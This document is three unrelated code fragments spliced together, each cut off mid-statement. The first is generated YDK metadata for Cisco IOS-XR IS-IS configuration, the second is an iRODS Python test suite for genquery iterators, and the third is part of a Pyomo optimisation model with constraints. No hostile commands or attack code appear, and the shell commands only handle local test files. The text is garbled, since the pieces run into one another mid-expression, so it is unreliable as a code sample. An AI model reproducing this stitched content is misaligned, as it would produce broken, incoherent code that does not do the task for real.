_MetaInfoClassMember('frr-tiebreakers', REFERENCE_CLASS, 'FrrTiebreakers' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg', 'Isis.Instances.Instance.Afs.Af.AfData.FrrTable.FrrTiebreakers',
[], [],
''' FRR tiebreakers configuration
''',
'frr_tiebreakers',
'Cisco-IOS-XR-clns-isis-cfg', False),
_MetaInfoClassMember('frr-use-cand-onlies', REFERENCE_CLASS, 'FrrUseCandOnlies' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg', 'Isis.Instances.Instance.Afs.Af.AfData.FrrTable.FrrUseCandOnlies',
[], [],
''' FRR use candidate only configuration
''',
'frr_use_cand_onlies',
'Cisco-IOS-XR-clns-isis-cfg', False),
_MetaInfoClassMember('priority-limits', REFERENCE_CLASS, 'PriorityLimits' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg', 'Isis.Instances.Instance.Afs.Af.AfData.FrrTable.PriorityLimits',
[], [],
''' FRR prefix-limit configuration
''',
'priority_limits',
'Cisco-IOS-XR-clns-isis-cfg', False),
],
'Cisco-IOS-XR-clns-isis-cfg',
'frr-table',
_yang_ns._namespaces['Cisco-IOS-XR-clns-isis-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg'
),
},
'Isis.Instances.Instance.Afs.Af.AfData.RouterId' : {
'meta_info' : _MetaInfoClass('Isis.Instances.Instance.Afs.Af.AfData.RouterId',
False,
[
_MetaInfoClassMember('address', ATTRIBUTE, 'str' , None, None,
[], [],
''' IPv4/IPv6 address to be used as a router
ID. Precisely one of Address and Interface
must be specified.
''',
'address',
'Cisco-IOS-XR-clns-isis-cfg', False),
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface with designated stable IP
address to be used as a router ID. This
must be a Loopback interface. Precisely
one of Address and Interface must be
specified.
''',
'interface_name',
'Cisco-IOS-XR-clns-isis-cfg', False),
],
'Cisco-IOS-XR-clns-isis-cfg',
'router-id',
_yang_ns._namespaces['Cisco-IOS-XR-clns-isis-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg'
),
},
'Isis.Instances.Instance.Afs.Af.AfData.SpfPrefixPriorities.SpfPrefixPriority' : {
'meta_info' : _MetaInfoClass('Isis.Instances.Instance.Afs.Af.AfData.SpfPrefixPriorities.SpfPrefixPriority',
False,
[
_MetaInfoClassMember('level', REFERENCE_ENUM_CLASS, 'IsisInternalLevelEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_datatypes', 'IsisInternalLevelEnum',
[], [],
''' SPF Level for prefix prioritization
''',
'level',
'Cisco-IOS-XR-clns-isis-cfg', True),
_MetaInfoClassMember('prefix-priority-type', REFERENCE_ENUM_CLASS, 'IsisPrefixPriorityEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg', 'IsisPrefixPriorityEnum',
[], [],
''' SPF Priority to assign matching prefixes
''',
'prefix_priority_type',
'Cisco-IOS-XR-clns-isis-cfg', True),
_MetaInfoClassMember('access-list-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' Access List to determine prefixes for
this priority
''',
'access_list_name',
'Cisco-IOS-XR-clns-isis-cfg', False),
_MetaInfoClassMember('admin-tag', ATTRIBUTE, 'int' , None, None,
[('1', '4294967295')], [],
''' Tag value to determine prefixes for this
priority
''',
'admin_tag',
'Cisco-IOS-XR-clns-isis-cfg', False),
],
'Cisco-IOS-XR-clns-isis-cfg',
'spf-prefix-priority',
_yang_ns._namespaces['Cisco-IOS-XR-clns-isis-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg'
),
},
'Isis.Instances.Instance.Afs.Af.AfData.SpfPrefixPriorities' : {
'meta_info' : _MetaInfoClass('Isis.Instances.Instance.Afs.Af.AfData.SpfPrefixPriorities',
False,
[
_MetaInfoClassMember('spf-prefix-priority', REFERENCE_LIST, 'SpfPrefixPriority' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg', 'Isis.Instances.Instance.Afs.Af.AfData.SpfPrefixPriorities.SpfPrefixPriority',
[], [],
''' Determine SPF priority for prefixes
''',
'spf_prefix_priority',
'Cisco-IOS-XR-clns-isis-cfg', False),
],
'Cisco-IOS-XR-clns-isis-cfg',
'spf-prefix-priorities',
_yang_ns._namespaces['Cisco-IOS-XR-clns-isis-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg'
),
},
'Isis.Instances.Instance.Afs.Af.AfData.SummaryPrefixes.SummaryPrefix' : {
'meta_info' : _MetaInfoClass('Isis.Instances.Instance.Afs.Af.AfData.SummaryPrefixes.SummaryPrefix',
False,
[
_MetaInfoClassMember('address-prefix', REFERENCE_UNION, 'str' , None, None,
[], [],
''' IP summary address prefix
''',
'address_prefix',
'Cisco-IOS-XR-clns-isis-cfg', True, [
_MetaInfoClassMember('address-prefix', ATTRIBUTE, 'str' , None, None,
[], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])/(([0-9])|([1-2][0-9])|(3[0-2]))'],
''' IP summary address prefix
''',
'address_prefix',
'Cisco-IOS-XR-clns-isis-cfg', True),
_MetaInfoClassMember('address-prefix', ATTRIBUTE, 'str' , None, None,
[], ['((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(/(([0-9])|([0-9]{2})|(1[0-1][0-9])|(12[0-8])))'],
''' IP summary address prefix
''',
'address_prefix',
'Cisco-IOS-XR-clns-isis-cfg', True),
]),
_MetaInfoClassMember('level', ATTRIBUTE, 'int' , None, None,
[('1', '2')], [],
''' Level in which to summarize routes
''',
'level',
'Cisco-IOS-XR-clns-isis-cfg', False),
_MetaInfoClassMember('tag', ATTRIBUTE, 'int' , None, None,
[('1', '4294967295')], [],
''' The tag value
''',
'tag',
'Cisco-IOS-XR-clns-isis-cfg', False),
],
'Cisco-IOS-XR-clns-isis-cfg',
'summary-prefix',
_yang_ns._namespaces['Cisco-IOS-XR-clns-isis-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg'
),
},
'Isis.Instances.Instance.Afs.Af.AfData.SummaryPrefixes' : {
'meta_info' : _MetaInfoClass('Isis.Instances.Instance.Afs.Af.AfData.SummaryPrefixes',
False,
[
_MetaInfoClassMember('summary-prefix', REFERENCE_LIST, 'SummaryPrefix' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg', 'Isis.Instances.Instance.Afs.Af.AfData.SummaryPrefixes.SummaryPrefix',
[], [],
''' Configure IP address prefixes to advertise
''',
'summary_prefix',
'Cisco-IOS-XR-clns-isis-cfg', False),
],
'Cisco-IOS-XR-clns-isis-cfg',
'summary-prefixes',
_yang_ns._namespaces['Cisco-IOS-XR-clns-isis-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg'
),
},
'Isis.Instances.Instance.Afs.Af.AfData.MicroLoopAvoidance' : {
'meta_info' : _MetaInfoClass('Isis.Instances.Instance.Afs.Af.AfData.MicroLoopAvoidance',
False,
[
_MetaInfoClassMember('enable', REFERENCE_ENUM_CLASS, 'IsisMicroLoopAvoidanceEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg', 'IsisMicroLoopAvoidanceEnum',
[], [],
''' MicroLoop avoidance enable configuration
''',
'enable',
'Cisco-IOS-XR-clns-isis-cfg', False),
_MetaInfoClassMember('rib-update-delay', ATTRIBUTE, 'int' , None, None,
[('1000', '65535')], [],
''' Value of delay in msecs in updating RIB
''',
'rib_update_delay',
'Cisco-IOS-XR-clns-isis-cfg', False),
],
'Cisco-IOS-XR-clns-isis-cfg',
'micro-loop-avoidance',
_yang_ns._namespaces['Cisco-IOS-XR-clns-isis-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg'
),
},
'Isis.Instances.Instance.Afs.Af.AfData.Ucmp.Enable' : {
'meta_info' : _MetaInfoClass('Isis.Instances.Instance.Afs.Af.AfData.Ucmp.Enable',
False,
[
_MetaInfoClassMember('prefix-list-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' Name of the Prefix List
''',
'prefix_list_name',
'Cisco-IOS-XR-clns-isis-cfg', False),
_MetaInfoClassMember('variance', ATTRIBUTE, 'int' , None, None,
[('101', '10000')], [],
''' Value of variance
''',
'variance',
'Cisco-IOS-XR-clns-isis-cfg', False),
],
'Cisco-IOS-XR-clns-isis-cfg',
'enable',
_yang_ns._namespaces['Cisco-IOS-XR-clns-isis-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg'
),
},
'Isis.Instances.Instance.Afs.Af.AfData.Ucmp.ExcludeInterfaces.ExcludeInterface' : {
'meta_info' : _MetaInfoClass('Isis.Instances.Instance.Afs.Af.AfData.Ucmp.ExcludeInterfaces.ExcludeInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Name of the interface to be excluded
''',
'interface_name',
'Cisco-IOS-XR-clns-isis-cfg', True),
],
'Cisco-IOS-XR-clns-isis-cfg',
'exclude-interface',
_yang_ns._namespaces['Cisco-IOS-XR-clns-isis-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg'
),
},
'Isis.Instances.Instance.Afs.Af.AfData.Ucmp.ExcludeInterfaces' : {
'meta_info' : _MetaInfoClass('Isis.Instances.Instance.Afs.Af.AfData.Ucmp.ExcludeInterfaces',
False,
[
_MetaInfoClassMember('exclude-interface', REFERENCE_LIST, 'ExcludeInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg', 'Isis.Instances.Instance.Afs.Af.AfData.Ucmp.ExcludeInterfaces.ExcludeInterface',
[], [],
''' Exclude this interface from UCMP path
computation
''',
'exclude_interface',
'Cisco-IOS-XR-clns-isis-cfg', False),
],
'Cisco-IOS-XR-clns-isis-cfg',
'exclude-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-clns-isis-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg'
),
},
'Isis.Instances.Instance.Afs.Af.AfData.Ucmp' : {
'meta_info' : _MetaInfoClass('Isis.Instances.Instance.Afs.Af.AfData.Ucmp',
False,
[
_MetaInfoClassMember('delay-interval', ATTRIBUTE, 'int' , None, None,
[('100', '65535')], [],
''' Delay in msecs between primary SPF and
UCMP computation
''',
'delay_interval',
'Cisco-IOS-XR-clns-isis-cfg', False),
_MetaInfoClassMember('enable', REFERENCE_CLASS, 'Enable' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg', 'Isis.Instances.Instance.Afs.Af.AfData.Ucmp.Enable',
[], [],
''' UCMP feature enable | |
from __future__ import print_function
import os
import re
import sys
import ast
if sys.version_info >= (2, 7):
import unittest
else:
import unittest2 as unittest
from contextlib import contextmanager
from tempfile import NamedTemporaryFile
from textwrap import dedent
from .. import lib
from ..configuration import IrodsConfig
from ..controller import IrodsController
from . import resource_suite
from ..core_file import temporary_core_file
from ..paths import (config_directory as irods_config_dir,
server_config_path)
GENQUERY_MODULE_BASENAME = 'genquery.py'
Allow_Intensive_Memory_Use = False
def _module_attribute(module,name,default=None):
value = getattr(module,name,default)
if callable(value):
return value()
return value
# -------------
# This function will be necessary until PREP tests are separate from the irods core repository:
def genquery_module_available():
global Allow_Intensive_Memory_Use
class EmptyModule(Exception): pass
IRODS_CONFIG_DIR = irods_config_dir()
genquery_module_path = os.path.join( IRODS_CONFIG_DIR, GENQUERY_MODULE_BASENAME)
file_description = " module file '{}'".format (genquery_module_path)
usable = False
if not os.path.isfile( genquery_module_path ):
print ("Not finding " + file_description ,file=sys.stderr)
else:
try:
with open(genquery_module_path,'rt') as f:
if not len(f.readline()) > 0:
raise EmptyModule
except IOError:
print ("No read permissions on " + file_description ,file=sys.stderr)
except EmptyModule:
print ("Null content in " + file_description ,file=sys.stderr)
except Exception:
print ("Unknown Error in accessing " + file_description ,file=sys.stderr)
else:
usable = True
idx = -1
#--> try import genquery module so that we can test optimally according to configuration
try:
sys.path.insert(0,IRODS_CONFIG_DIR)
import genquery
if _module_attribute(genquery,'AUTO_CLOSE_QUERIES'): Allow_Intensive_Memory_Use = True
idx = sys.path.index(IRODS_CONFIG_DIR)
except ImportError: # not fatal, past versions were only importable via PREP
pass
except ValueError:
idx = -1
finally: #-- clean up module load path
if idx >= 0:
cfg_dir = sys.path.pop(idx)
if cfg_dir != IRODS_CONFIG_DIR:
raise RuntimeError("Python module load path couldn't be restored")
if not usable:
print (" --- Not running genquery iterator tests --- " ,file=sys.stderr)
return usable
@contextmanager
def generateRuleFile(names_list=None, **kw):
if names_list is None:
names_list=kw.pop('names_list', [])
f = NamedTemporaryFile(mode='wt', dir='.', suffix='.r', delete=False, **kw)
try:
if isinstance(names_list,list):
names_list.append(f.name)
yield f
finally:
f.close()
class Test_Genquery_Iterator(resource_suite.ResourceBase, unittest.TestCase):
Statement_Table_Size = 50
plugin_name = IrodsConfig().default_rule_engine_plugin
full_test = genquery_module_available()
def setUp(self):
super(Test_Genquery_Iterator, self).setUp()
self.to_unlink = []
self.dir_cleanup = True
# ------- set up variables specific to this group of tests
self.dir_for_coll = 'testColn'
self.bundled_coll = self.dir_for_coll + '.tar'
self.assertFalse(os.path.exists(self.dir_for_coll))
self.assertFalse(os.path.exists(self.bundled_coll))
self.test_dir_path = os.path.abspath(self.dir_for_coll)
self.test_tar_path = os.path.abspath(self.bundled_coll)
self.server_config_path = server_config_path()
self.test_admin_coll_path = ("/" + self.admin.zone_name +
"/home/" + self.admin.username +
"/" + os.path.split(self.test_dir_path)[-1] )
@unittest.skipIf(plugin_name == 'irods_rule_engine_plugin-irods_rule_language', 'only applicable for python REP')
def test_query_objects_case_insensitive(self):
if not self.full_test : return
os.mkdir(self.dir_for_coll)
filename = "MyFiLe.TsT"
for dummy in range(3):
fullpath = os.path.join(self.dir_for_coll,filename)
open(fullpath,"wb").write(b"bytes")
filename = filename.lower() if dummy == 0 else filename.upper()
lib.execute_command ('tar -cf {} {}'.format(self.bundled_coll, self.dir_for_coll))
self.admin.assert_icommand('icd')
self.admin.assert_icommand('iput -f {}'.format(self.bundled_coll))
self.admin.assert_icommand('ibun -x {} .'.format(self.bundled_coll))
test_coll = self.test_admin_coll_path
with generateRuleFile(names_list = self.to_unlink,
prefix = "query_case_insensitive_") as f:
rule_file = f.name
rule_text = dedent('''\
from genquery import *
def main(args,callback,rei):
q1 = Query(callback,'DATA_ID',
"COLL_NAME = '{{c}}' and DATA_NAME = '{{d}}'".format(c='{test_coll}',d='{filename}'),
case_sensitive=True)
q2 = Query(callback,'DATA_ID',
"COLL_NAME = '{{c}}' and DATA_NAME = '{{d}}'".format(c='{test_coll}'.upper(),d='{filename}'.lower()),
case_sensitive=False)
L= [ len([i for i in q]) for q in (q1,q2) ]
callback.writeLine('stdout', repr(L).replace(chr(0x20),''))
OUTPUT ruleExecOut
''')
print(rule_text.format(**locals()), file=f, end='')
output, err, rc = self.admin.run_icommand("irule -F " + rule_file)
self.assertTrue(rc == 0, "icommand status ret = {r} output = '{o}' err='{e}'".format(r=rc,o=output,e=err))
self.assertEqual(output.strip(), "[1,3]")
@unittest.skipIf(plugin_name == 'irods_rule_engine_plugin-irods_rule_language', 'only applicable for python REP')
def test_query_objects(self):
if not self.full_test : return
os.mkdir(self.dir_for_coll)
interesting = [0,1,2,100,254,255,256,257,258,510,511,512,513,514]
octals = ['%04o'%x for x in interesting]
max_count = sorted(interesting)[-1]
for x in range(max_count+1):
fname = os.path.join(self.dir_for_coll,'%04o'%x)
with open(fname,'wb') as fb:
fb.write(os.urandom(x))
lib.execute_command ('tar -cf {} {}'.format(self.bundled_coll, self.dir_for_coll))
self.admin.assert_icommand('icd')
self.admin.assert_icommand('iput -f {}'.format(self.bundled_coll))
self.admin.assert_icommand('ibun -x {} .'.format(self.bundled_coll))
test_coll = self.test_admin_coll_path
rule_file = ""
output=""
rule_header = dedent("""\
from genquery import *
def main(rule_args,callback,rei):
TestCollection = "{test_coll}"
""")
rule_footer = dedent("""\
INPUT null
OUTPUT ruleExecOut
""")
frame_rule = lambda text,indent=4: \
rule_header+('\n'+' '*indent+('\n'+' '*indent).join(dedent(text).split("\n"))
)+"\n"+rule_footer
#--------------------------------
test_cases = [(
frame_rule('''\
L = []
for j in {octals}:
cond_string= "COLL_NAME = '{{c}}' and DATA_NAME < '{{ltparam}}'".format(c=TestCollection,ltparam=j)
q = Query(callback,
columns=["DATA_NAME"],
conditions=cond_string)
L.append(q.total_rows())
callback.writeLine("stdout", repr(L))
'''),
"total_rows_",
lambda : ast.literal_eval(output) == interesting
), ( #----------------
frame_rule('''\
row_format = lambda row:"{{COLL_NAME}}/{{order(DATA_NAME)}}".format(**row)
q = Query(callback,
columns=["order(DATA_NAME)","COLL_NAME"],
output=AS_DICT,
offset=0,limit=1,
conditions="COLL_NAME = '{{c}}'".format(c=TestCollection))
res_1=[row_format(r) for r in q]
row_count = q.total_rows()
res_2=[row_format(r) for r in q.copy(offset=row_count-1)]
callback.writeLine('stdout',repr( [len(x) for x in (res_1,res_2)] +\
[
(res_1 + res_2 ==
[TestCollection+"/"+x for x in ["%04o"%y for y in (0,{max_count})]])
] ))
'''),
"offset_limit_",
lambda : output.replace(" ","").strip() == "[1,1,True]"
), ( #----------------
frame_rule('''\
q = Query(callback,
columns=["DATA_ID"],
conditions="COLL_NAME = '{{c}}'".format(c=TestCollection))
q_iter = iter( q )
first_row = next(q_iter)
callback.writeLine('stdout',repr([1+len([row for row in q_iter]),
q.copy().total_rows()]))
'''),
"copy_query_",
lambda : ast.literal_eval(output) == [ max_count+1 ]*2
), ( #----------------
frame_rule('''\
from genquery import Option
callback.msiModAVUMetadata("-C",TestCollection,"set", "aa", "bb", "cc")
callback.msiModAVUMetadata("-C",TestCollection,"add", "aa", "bb", "dd")
q = Query(callback,
columns=["META_COLL_ATTR_NAME","COLL_NAME"],
conditions="META_COLL_ATTR_NAME = 'aa' and COLL_NAME = '{{c}}'".format(c=TestCollection)
)
d0 = [ i for i in q ]
d1 = [ i for i in q.copy(options=Option.NO_DISTINCT) ]
callback.msiModAVUMetadata("-C",TestCollection,"rmw", "aa", "bb", "%")
b = repr([len(d0),len(d1)])
callback.writeLine('stdout',b)
callback.msiDeleteUnusedAVUs()
'''),
"no_distinct_",
lambda : ast.literal_eval(output) == [1,2]
), ( #----------------
frame_rule('''\
import itertools
q = Query(callback,
columns=["order_asc(DATA_NAME)"],
conditions="DATA_NAME like '03%' and COLL_NAME = '{{c}}'".format(c=TestCollection)
)
q2 = q.copy(conditions="DATA_NAME like '05%' and COLL_NAME = '{{c}}'".format(c=TestCollection))
chained_queries = itertools.chain(q, q2)
compare_this = [x for x in ('%04o'%y for y in range({max_count}+1)) if x[:2] in ('03','05')]
callback.writeLine('stdout',repr([x for x in chained_queries] == compare_this and len(compare_this)==128))
'''),
"iter_chained_queries_",
lambda : ast.literal_eval(output) is True
), ( #----------------
frame_rule('''\
#import pprint # - for DEBUG only
import itertools
q = Query(callback,
columns=["DATA_NAME"],
conditions="COLL_NAME = '{{c}}'".format(c=TestCollection)
)
n_results={max_count}+1
chunking_results = dict()
for chunk_size in set([1,2,3,4,5,6,7,8,10,16,32,50,64,100,128,200,256,400,510,512,513,
n_results-2,n_results-1,n_results,n_results+1,n_results+2]):
q_iter = iter(q.copy())
L=[]
while True:
chunk = [row for row in itertools.islice(q_iter, 0, chunk_size)]
if not chunk: break
L.append(chunk)
chunking_results[chunk_size] = L
check_Lresult = lambda chunkSize,L:\
[int(x[0],8) for x in L] == list(range(0,n_results,chunkSize)) and \
(0==len(L) or 1+((n_results-1)%chunkSize) == len(L[-1]))
#callback.writeLine('serverLog',pprint.pformat(chunking_results)) # - for DEBUG only
callback.writeLine('stdout',repr(list(check_Lresult(k,chunking_results[k]) for k in chunking_results)))
'''),
"chunked_queries_via_islice_",
lambda : list(filter(lambda result:result is False, ast.literal_eval(output))) == []
), ('','','')]
#--------------------------------
for rule_text, file_prefix, assertion in test_cases:
if not rule_text: break
with generateRuleFile(names_list = self.to_unlink,
prefix = file_prefix) as f:
rule_file = f.name
print(rule_text.format(**locals()), file=f, end='')
output, err, rc = self.admin.run_icommand("irule -F " + rule_file)
self.assertTrue(rc == 0, "icommand status ret = {r} output = '{o}' err='{e}'".format(r=rc,o=output,e=err))
assertResult=assertion()
if not assertResult: print( "failing output ====> " + output + "\n<====" )
self.assertTrue(assertResult, "test failed for prefix: {}".format(file_prefix))
# remove the next line when msiGetMoreRows always returns an accurate value for continueInx
@unittest.skipIf(Allow_Intensive_Memory_Use, 'Replace nested multiples-of-256 pending rsGenQuery continueInx fix')
@unittest.skipIf(plugin_name == 'irods_rule_engine_plugin-irods_rule_language', 'only applicable for python REP')
def test_multiples_256(self):
if not self.full_test : return
lib.create_directory_of_small_files(self.dir_for_coll,512)
lib.execute_command ('tar -cf {} {}'.format(self.bundled_coll, self.dir_for_coll))
self.admin.assert_icommand('icd')
self.admin.assert_icommand('iput -f {}'.format(self.bundled_coll))
self.admin.assert_icommand('ibun -x {} .'.format(self.bundled_coll))
IrodsController().stop()
with temporary_core_file() as core:
core.prepend_to_imports( 'from genquery import *')
core.add_rule(dedent('''\
def my_rule_256(rule_args, callback, rei):
n=0
coll = rule_args[0]
for z1 in paged_iterator("DATA_NAME", "COLL_NAME = '{}'".format(coll), # 512 objects
AS_LIST, callback):
for z2 in z1: n += 1
rule_args[0] = str(n)
'''))
IrodsController().start()
rule_file = ""
with generateRuleFile( names_list = self.to_unlink, **{'prefix':"test_mult256_"} ) as f:
rule_file = f.name
print(dedent('''\
def main(rule_args,callback,rei):
TestCollection = global_vars['*testcollection'][1:-1]
retval = callback.my_rule_256(TestCollection);
result = retval['arguments'][0]
callback.writeLine("stdout", "multiples of 256 test: {}".format(result))
input *testcollection=$""
output ruleExecOut
'''), file=f, end='')
run_irule = ("irule -F {} \*testcollection=\"'{}'\""
).format(rule_file, self.test_admin_coll_path,)
self.admin.assert_icommand(run_irule, 'STDOUT_SINGLELINE', r'\s{}$'.format(512), use_regex=True)
IrodsController().stop()
IrodsController().start()
#=-=-=-=-=-#=-=-=-=-=-#=-=-=-=-=-#=-=-=-=-=-#=-=-=-=-=-#=-=-=-=-=-#=-=-=-=-=-#=-=-=-=-=-#=-=-=-=-=-#=-=-=-=-=-#
@staticmethod
def int_from_bitfields( sub_ints , shift_incr ):
value = 0
shift = 0
for i in sub_ints:
value |= ( i << shift )
shift += shift_incr
return value
@unittest.skipUnless(Allow_Intensive_Memory_Use, 'Skip non nested repeats pending rsGenQuery continueInx fix')
@unittest.skipIf(plugin_name == 'irods_rule_engine_plugin-irods_rule_language', 'only applicable for python REP')
def test_repeat_nonnested_with_brk__4438(self):
self.repeat_nonnested(use_break = True,
int_for_compare = self.int_from_bitfields((1,1,1,0),shift_incr=10))
@unittest.skipUnless(Allow_Intensive_Memory_Use, 'Skip non nested repeats pending rsGenQuery continueInx fix')
@unittest.skipIf(plugin_name == 'irods_rule_engine_plugin-irods_rule_language', 'only applicable for python REP')
def test_repeat_nonnested_without_brk__4438(self):
self.repeat_nonnested(use_break = False,
int_for_compare = self.int_from_bitfields((256,2+256,512,0),shift_incr=10))
def repeat_nonnested(self, use_break, int_for_compare):
if not self.full_test : return
Do_Break = use_break
Outer_Loop_Reps = 2 * self.Statement_Table_Size + 1
lib.create_directory_of_small_files(self.dir_for_coll,912)
lib.execute_command('''sh -c "cd '{}' && rm ? ?? 1[0123]? 14[0123]"'''.format(self.dir_for_coll))
lib.execute_command ('tar -cf {} {}'.format(self.bundled_coll, self.dir_for_coll))
self.admin.assert_icommand('icd')
self.admin.assert_icommand('iput -f {}'.format(self.bundled_coll))
self.admin.assert_icommand('ibun -x {} .'.format(self.bundled_coll))
IrodsController().stop()
with temporary_core_file() as core:
core.prepend_to_imports('from genquery import *') # import all names to core that are exported by genquery.py
# | |
+ 35*m.x82 + 50*m.x83 + 20*m.x84 + 30*m.x85 + 25*m.x86 + 50*m.x87 + 15*m.x88 + 20*m.x89
+ 30*m.x104 + 40*m.x105 - m.x114 - m.x115 + 80*m.x130 + 90*m.x131 + 285*m.x132 + 390*m.x133
+ 290*m.x134 + 405*m.x135 + 280*m.x136 + 400*m.x137 + 290*m.x138 + 300*m.x139 + 350*m.x140
+ 250*m.x141 - 5*m.b458 - 4*m.b459 - 8*m.b460 - 7*m.b461 - 6*m.b462 - 9*m.b463 - 10*m.b464
- 9*m.b465 - 6*m.b466 - 10*m.b467 - 7*m.b468 - 7*m.b469 - 4*m.b470 - 3*m.b471 - 5*m.b472
- 6*m.b473 - 2*m.b474 - 5*m.b475 - 4*m.b476 - 7*m.b477 - 3*m.b478 - 9*m.b479 - 7*m.b480
- 2*m.b481 - 3*m.b482 - m.b483 - 2*m.b484 - 6*m.b485 - 4*m.b486 - 8*m.b487 - 2*m.b488 - 5*m.b489
- 3*m.b490 - 4*m.b491 - 5*m.b492 - 7*m.b493 - 2*m.b494 - 8*m.b495 - m.b496 - 4*m.b497 - 2*m.b498
- 5*m.b499 - 9*m.b500 - 2*m.b501 - 5*m.b502 - 8*m.b503 - 2*m.b504 - 3*m.b505 - 10*m.b506
- 6*m.b507 - 4*m.b508 - 8*m.b509 - 7*m.b510 - 3*m.b511 - 4*m.b512 - 8*m.b513 - 2*m.b514 - m.b515
- 8*m.b516 - 3*m.b517, sense=maximize)
m.c2 = Constraint(expr= m.x2 - m.x4 - m.x6 == 0)
m.c3 = Constraint(expr= m.x3 - m.x5 - m.x7 == 0)
m.c4 = Constraint(expr= - m.x8 - m.x10 + m.x12 == 0)
m.c5 = Constraint(expr= - m.x9 - m.x11 + m.x13 == 0)
m.c6 = Constraint(expr= m.x12 - m.x14 - m.x16 == 0)
m.c7 = Constraint(expr= m.x13 - m.x15 - m.x17 == 0)
m.c8 = Constraint(expr= m.x16 - m.x18 - m.x20 - m.x22 == 0)
m.c9 = Constraint(expr= m.x17 - m.x19 - m.x21 - m.x23 == 0)
m.c10 = Constraint(expr= m.x26 - m.x32 - m.x34 == 0)
m.c11 = Constraint(expr= m.x27 - m.x33 - m.x35 == 0)
m.c12 = Constraint(expr= m.x30 - m.x36 - m.x38 - m.x40 == 0)
m.c13 = Constraint(expr= m.x31 - m.x37 - m.x39 - m.x41 == 0)
m.c14 = Constraint(expr= m.x46 - m.x54 - m.x56 == 0)
m.c15 = Constraint(expr= m.x47 - m.x55 - m.x57 == 0)
m.c16 = Constraint(expr= - m.x48 - m.x60 + m.x62 == 0)
m.c17 = Constraint(expr= - m.x49 - m.x61 + m.x63 == 0)
m.c18 = Constraint(expr= m.x50 - m.x64 - m.x66 == 0)
m.c19 = Constraint(expr= m.x51 - m.x65 - m.x67 == 0)
m.c20 = Constraint(expr= m.x52 - m.x68 - m.x70 - m.x72 == 0)
m.c21 = Constraint(expr= m.x53 - m.x69 - m.x71 - m.x73 == 0)
m.c22 = Constraint(expr= m.x90 - m.x92 == 0)
m.c23 = Constraint(expr= m.x91 - m.x93 == 0)
m.c24 = Constraint(expr= m.x92 - m.x94 - m.x96 == 0)
m.c25 = Constraint(expr= m.x93 - m.x95 - m.x97 == 0)
m.c26 = Constraint(expr= - m.x98 - m.x100 + m.x102 == 0)
m.c27 = Constraint(expr= - m.x99 - m.x101 + m.x103 == 0)
m.c28 = Constraint(expr= m.x102 - m.x104 - m.x106 == 0)
m.c29 = Constraint(expr= m.x103 - m.x105 - m.x107 == 0)
m.c30 = Constraint(expr= m.x106 - m.x108 - m.x110 - m.x112 == 0)
m.c31 = Constraint(expr= m.x107 - m.x109 - m.x111 - m.x113 == 0)
m.c32 = Constraint(expr= m.x116 - m.x122 - m.x124 == 0)
m.c33 = Constraint(expr= m.x117 - m.x123 - m.x125 == 0)
m.c34 = Constraint(expr= m.x120 - m.x126 - m.x128 - m.x130 == 0)
m.c35 = Constraint(expr= m.x121 - m.x127 - m.x129 - m.x131 == 0)
m.c36 = Constraint(expr=(m.x150/(0.001 + 0.999*m.b398) - log(1 + m.x142/(0.001 + 0.999*m.b398)))*(0.001 + 0.999*m.b398)
<= 0)
m.c37 = Constraint(expr=(m.x151/(0.001 + 0.999*m.b399) - log(1 + m.x143/(0.001 + 0.999*m.b399)))*(0.001 + 0.999*m.b399)
<= 0)
